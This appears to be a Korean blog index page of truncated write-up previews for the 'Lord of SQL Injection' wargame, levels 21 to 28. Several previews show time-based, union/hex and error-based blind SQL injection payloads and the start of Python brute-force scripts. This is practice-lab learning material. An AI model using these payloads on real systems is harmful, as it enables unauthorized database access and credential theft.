본문 바로가기

Write-Up/LOS (lord of sql injection)

(28)
[Lord of SQL Injection] 28번 frankenstein 보호되어 있는 글입니다.
[Lord of SQL Injection] 27번 blue_dragon time based sql injection이다. ' \을 필터링하는데 time based sql injection을 모르고 접근하다가 삽질을 좀 했다. 쿼리를 먼저 넣고 실행시키고 그 후에 필터링되는것이다. sleep을 이용하겠다. ?id=1&pw=' or id='admin' and if(length(pw)>0, sleep(1), 0)%23 만약 pw길이가 0이상이면 1초대기하고 실행시키고 아니면 바로 거짓값을 넣어버린다. 로딩화면을 보고있으면 대기하는지 바로 실패하는지 볼 수 있다, import requests import time cookies= {'PHPSESSID':'your cooke'} url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca..
[Lord of SQL Injection] 26번 red_dragon 보호되어 있는 글입니다.
[Lord of SQL Injection] 25번 green_dragon 싱글쿼터 우회 할려고 \를 넣고 id값에 hex를 넣어주었다. 근데 아무 반응이 없다. 코드를 보면 쿼리2가 존재한다. 테이블이 2개 존재하는 것 같다. union을 이용해 쿼리2를 넣어보았다. ?id=# and pw= union select 1,2%23 query 2를 이제 id값에 \ pw값이 union select admin#을 넣는데 admin을 hex로 변환해 query2 : id='\' and pw='union select 0x61646d696e#' 이렇게 들어가게 넣어주자 \ hex변환 : 0x5c union select 0x61646d696e# hex 변환 : 0x756e696f6e2073656c6563742030783631363436643639366523 id=\andpw= union s..
[Lord of SQL Injection] 24번 evil_wizard 보호되어 있는 글입니다.
[Lord of SQL Injection] 23번 hell_fire 보호되어 있는 글입니다.
[Lord of SQL Injection] 22번 dark_eyes 바로 전 iron_golem의 문제와 비슷하지만 여기서 if가 필터링 되어있다. 또한 error를 발생했을때 출력되는 값은 없다. 다른 방법으로 접근해서 error를 내야겠다. select 1 union select 1은 참 select 1 union select 2 은 거짓 이걸 이용해서 pw 길이와 pw값을 알아내자 import requests cookies= {'PHPSESSID':'5029udlls5r1m3m52n0crur5rh'} url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?' pw = '' #pw길이 구하기 for i in range(1,99): payload = "pw=' or id='adm..
[Lord of SQL Injection] 21번 iron_golem mysql error가 있으면 error을 내뿜어준다. Error Base Blind SQL injection 문제이다. 조건문을 이용하여 error을 발생시켜보았다. 항상 참 쿼리 pw=' or id='admin' and if(1=1,1,(select 1 union select 2))%23 항상 거짓 쿼리 pw=' or id='admin' and if(1=2,1,(select 1 union select 2))%23 이것을 이용하여 파이썬 코드를 작성한다. import requests cookies= {'PHPSESSID':'5029udlls5r1m3m52n0crur5rh'} url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211..